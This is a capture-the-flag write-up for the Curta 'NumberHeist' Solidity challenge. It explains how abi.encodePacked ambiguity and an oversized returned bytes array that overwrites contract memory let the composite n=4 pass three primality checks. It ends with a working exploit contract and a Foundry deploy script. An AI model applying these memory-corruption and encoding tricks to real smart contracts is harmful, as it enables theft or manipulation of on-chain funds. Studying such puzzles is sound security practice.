Curta NumberHeist Writeup

To solve this challenge, we must find a set of valid parameters for the heist function, ensuring that these parameters pass three prime number checks in the contract, while also satisfying

$n=factor1\times factor2$.

function heist(uint256 n, uint256 circleCuttingWitness, uint256 factor1, uint256 factor2) external returns (bool heistSuccess) {
    require(1 < n && n <= 32);
    require(factor1 > 1 && factor2 > 1);
    require(factor1 < n && factor2 < n);

    bytes memory magicTome = _initializePuzzle();

    // ---- Check Prime By Wilson's ----
    if (!_checkWilsons(n)) {
        return false;
    }

    // ---- Check Prime By Circle Cutting ----
    if (!_isPrimeByCircleCutting(magicTome, n, circleCuttingWitness)) {
        return false;
    }

    // ---- Check Not Composite By Filson's ----
    if (!_filsonsCompositenessCheck(n)) {
        return false;
    }

    // This number has passed 3 layers of prime security checks...
    // But will it defy the laws of mathematics?
    if(n == factor1 * factor2) {
        solved[msg.sender] = true;
        heistSuccess = true;
    }
}

Let's break down each check:

Wilson's Theorem for Primality Check

Wilson's theorem is used for the first primality check:

// We will use the famous result from Wilson's Theorem to test for primality:
//
//  (n-1)! ≡ -1 (mod n) <=> n is prime
function _checkWilsons(uint256 n) internal restoreMemory returns (bool) {
    // Caller provides the precomputed factorials... because why not?
    // Largest factorial necessary for wilson's is (n-1)!, therefore we need 0!..31!

    // Three entries: [ x! ∀ x <= 12, x! ∀ 12 < x <= 20, x! ∀ 20 < x <= 31 ]
    // First entry factorials fit into 8 byte denominations
    // Second entry factorials fit into 12 byte denominations
    // Third entry factorials fit into 16 byte denominations
    (bool success, bytes memory data) = msg.sender.call("");
    require(success);

    // Nothing to see here...
    assembly {
        mstore(0x40, 0x360)
    }

    bytes[3] memory precomputedFactorials = abi.decode(data, (bytes[3]));

    // hash the precomputedFactorials to ensure they are correct
    require(keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])) == VALID_FACTORIALS_HASH, "Not Valid Factorials");

    // Declare Pointers
    bytes memory f0 = precomputedFactorials[0];
    bytes memory f1 = precomputedFactorials[1];
    bytes memory f2 = precomputedFactorials[2];

    uint256 modResult;

    // Verify Wilson's
    assembly {
        let nMinusOneFactorial

        if lt(n, 14) {
            let factorialsStart := add(f0, 0x08)
            let factorialSpot := mload(add(factorialsStart, mul(sub(n, 1), 0x08)))
            nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFF)
        }
        if and(gt(n, 13), lt(n, 22)) {
            let factorialsStart := add(f1, 0x0c)
            let factorialSpot := mload(add(factorialsStart, mul(sub(n, 14), 0x0c)))
            nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFFFFFFFFFF)
        }
        if gt(n, 21) {
            let factorialsStart := add(f2, 0x10)
            let factorialSpot := mload(add(factorialsStart, mul(sub(n, 22), 0x10)))
            nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        }

        modResult := addmod(nMinusOneFactorial, 1, n)
    }

    return modResult == 0;
}

This part of the challenge uses Wilson's theorem to check for primality by verifying if

$(n-1)!\equiv -1(\mathrm{mod}n)$, indicating that

$n$ is a prime number.

It first requires us to return the factorials of all numbers in the range

$0\le n\le 31$, and these should be divided into three groups:

$0\le n\le 12$,

$13\le n\le 20$, and

$21\le n\le 31$. The factorial of each number in these groups should be stored in 8, 12, and 16 bytes, respectively. Then, by checking keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])), it ensures that the returned content is correct.

It is worth noting that when encoding, the challenge uses abi.encodePacked(), which should be handled with care for dynamic length data. This is because the nature of this encoding method can lead to situations such as: abi.encodePacked("123", "4") == abi.encodePacked("1", "234").

Therefore, in this case, we can adjust the lengths of these three groups of bytes without altering the relationship between each byte, leading the contract to read incorrect values. Through various permutations and combinations, it is found that many composite numbers can pass this check, and we skip the specific choice of

$n$ for now.

Prime Check by Circle Cutting

The second prime check involves a method using cyclotomic polynomials:

function _isPrimeByCircleCutting(bytes memory cyclotomics, uint256 n, uint256 witness) internal returns (bool) {
    if (cyclotomics.length != 0x100) {
        revert("Invalid cyclotomics length");
    }
    // Get the right cyclotomic from the magic tome
    bytes8 cyclotomic = _readCyclotomic(cyclotomics, n-1);
    int256 result = _evaluateCyclotomic(cyclotomic, witness);
                                                                                                                                                              
    return result % int256(n) == 0;
}
                                                                                                                                                              
function _readCyclotomic(bytes memory cyclotomics, uint256 n) internal pure returns (bytes8 cyclotomic) {
    assembly {
        let cyclo_size := 0x08
        cyclotomic := and(mload(add(add(cyclotomics, 0x20), mul(sub(n, 1), cyclo_size))), 0xFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000)
    }
}
                                                                                                                                                              
function _evaluateCyclotomic(bytes8 cyclotomic, uint256 x) internal returns (int256 res) {
    for (uint256 i = 63; i > 1; i-=2) {
        uint8 cycloByte = uint8(cyclotomic[i / 8]);
                                                                                                                                                              
        uint adjustment = (7 - (i % 8));
                                                                                                                                                              
        uint8 sign = uint8(cycloByte & (1 << (adjustment + 1)));
        uint8 bit = uint8(cycloByte & (1 << adjustment));
                                                                                                                                                              
        if (bit != 0) {
            int256 val = int256(x**((63-i)/2));
            if (sign != 0) {
                res -= val;
            } else if (sign == 0){
                res += val;
            } else {
                revert("Invalid sign");
            }
        }
    }
}

According to the comment, the property used here is that

$\mathrm{\exists }a$ such that

$p$ is prime if and only if

${\mathrm{\Phi }}_{p-1}(a)\equiv 0(\mathrm{mod}p)$. A quick online search didn't yield information on this method for checking primality. However, it's notable that the cyclotomics used in these functions are pre-initialized in memory and placed at the 0x760 position:

function _initializePuzzle() internal pure returns (bytes memory magicTome) {
    // What could this be?
    assembly {
        magicTome := 0x760
        let tomePtr := add(magicTome, 0x20)
        let tomeSize := 0x100
        mstore(
            tomePtr,
            hex"0000000000000007000000000000000500000000000000150000000000000011"
        )
        mstore(
            add(tomePtr, 0x20),
            hex"0000000000000155000000000000001d00000000000015550000000000000101"
        )
        mstore(
            add(tomePtr, 0x40),
            hex"000000000000104100000000000001dd00000000001555550000000000000131"
        )
        mstore(
            add(tomePtr, 0x60),
            hex"00000000015555550000000000001ddd000000000001c74d0000000000010001"
        )
        mstore(
            add(tomePtr, 0x80),
            hex"000000015555555500000000000010c100000015555555550000000000013131"
        )
        mstore(
            add(tomePtr, 0xA0),
            hex"0000000001C7134D00000000001DDDDD00001555555555550000000000010301"
        )
        mstore(
            add(tomePtr, 0xC0),
            hex"00000100401004010000000001DDDDDD00000010000400010000000001313131"
        )
        mstore(
            add(tomePtr, 0xE0),
            hex"01555555555555550000000000014FC515555555555555550000000000000000"
        )
        mstore(magicTome, tomeSize)
    }
}

Assuming the implementation of this check is correct, the only approach would be to somehow modify this segment of memory. The method I discovered involves the use of (bool success, bytes memory data) = msg.sender.call(""); within the Wilson's theorem primality check. We can append additional bytes to the originally returned bytes[3], or directly return bytes[4] instead. I opted for bytes[4], setting the length of the last bytes array to 0 initially. Utilizing forge debug, it was found that the fourth bytes in array would start writing to memory from the 0x340 (0xc0 + 0x280) position.

To overwrite the original data at position 0x760, it's only necessary to ensure that the length of the fourth bytes exceeds 0x400 (0x360 + 0x400 = 0x760). As for what data to overwrite with, by observing the formula, it can be discovered that if all the cycloByte are zeros, then regardless of the parameters, result will always equal 0. Consequently, result % int256(n) == 0, allowing us to directly overwrite the entire table with zeros.

Filson's Prime Check

The last prime check utilizes an extension of Wilson's theorem, which is as follows:

function _filsonsCompositenessCheck(uint256 n) internal pure returns (bool) {
    return factorial(n-1) % n != 0;
}

This concept isn't hard to grasp. Assuming

$n$ is composite, then:

$\begin{array}{r}n=a\cdot b\end{array}$, where

$\begin{array}{r}a,b\in \{x\in \mathbb{N}\mid 1<x<n\}\end{array}$

For

$n$ that are not square numbers, it's evident that

$(a\cdot b)|(n-1)!$. However, for square numbers

$n$, we encounter the case where

$a=b=\sqrt{n}$, and the aforementioned condition may not necessarily hold. Yet, it can be observed that:

$2\sqrt{n}<n\Rightarrow (\sqrt{n}\cdot \sqrt{n})|(n-1)!$

Therefore, this condition also holds true for all square numbers

$n>4$, and a simple verification reveals that 4 does not satisfy this condition. Through this discovery, we know that 4 is the only composite number that can pass this check. The next step is to ensure that the case of

$n=4$ passes the first check based on Wilson's theorem.

Completing the Bypass of Wilson's Theorem Check

When

$n\le 13$, the contract reads the value of a factorial using 8 bytes. Thus, when

$n=4$, it reads from the 57th to 64th bytes starting from f0. My approach was to make f0 an empty bytes, so the read position coincides exactly with the length of f1. I set the length of f1 to 199 bytes, and placed the rest in f2, enabling

$n=4$ to pass the primality check.

if lt(n, 14) {
    let factorialsStart := add(f0, 0x08)
    let factorialSpot := mload(add(factorialsStart, mul(sub(n, 1), 0x08)))
    nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFF)
}

Solution

Taking all of the above into account, we can now pass this challenge.

Solution contract and script

pragma solidity 0.8.20;

import {Script} from "forge-std/Script.sol";
import {NumberHeist} from "src/NumberHeist.sol";

interface ICurta {
  function solve(uint32, uint256) external;
}

contract Exp {
  uint256 constant public SOLUTION = 0x8fbcb4375b910093bcf636b6b2f26b26eda2a29ef5a8ee7de44b5743c3bf9a28;

  function run(address challenge) public {
    NumberHeist heist = NumberHeist(challenge);

    heist.heist(4, 0, 2, 2);
    ICurta(0x00000000D1329c5cd5386091066d49112e590969).solve(9, SOLUTION);
  }

  fallback (bytes calldata input) external  returns (bytes memory) {
    bytes[4] memory factorialData;
    factorialData[0] = hex"";
    factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
    factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";

    bytes memory extraData = new bytes(0x520);
    assembly {
      mstore(add(add(extraData, 0x20), 0x400), 0x0100)
    }
    factorialData[3] = extraData;

    return abi.encode(factorialData);
  }
}

contract DeployScript is Script {
  function run() public {
    uint256 privateKey = vm.envUint("private");
    vm.startBroadcast(privateKey);

    address challenge = 0x5029000a811A7Cb5Ad9333F8f5d08b3Fb96F6386;
    Exp exp = new Exp();
    exp.run(challenge);
  } 
}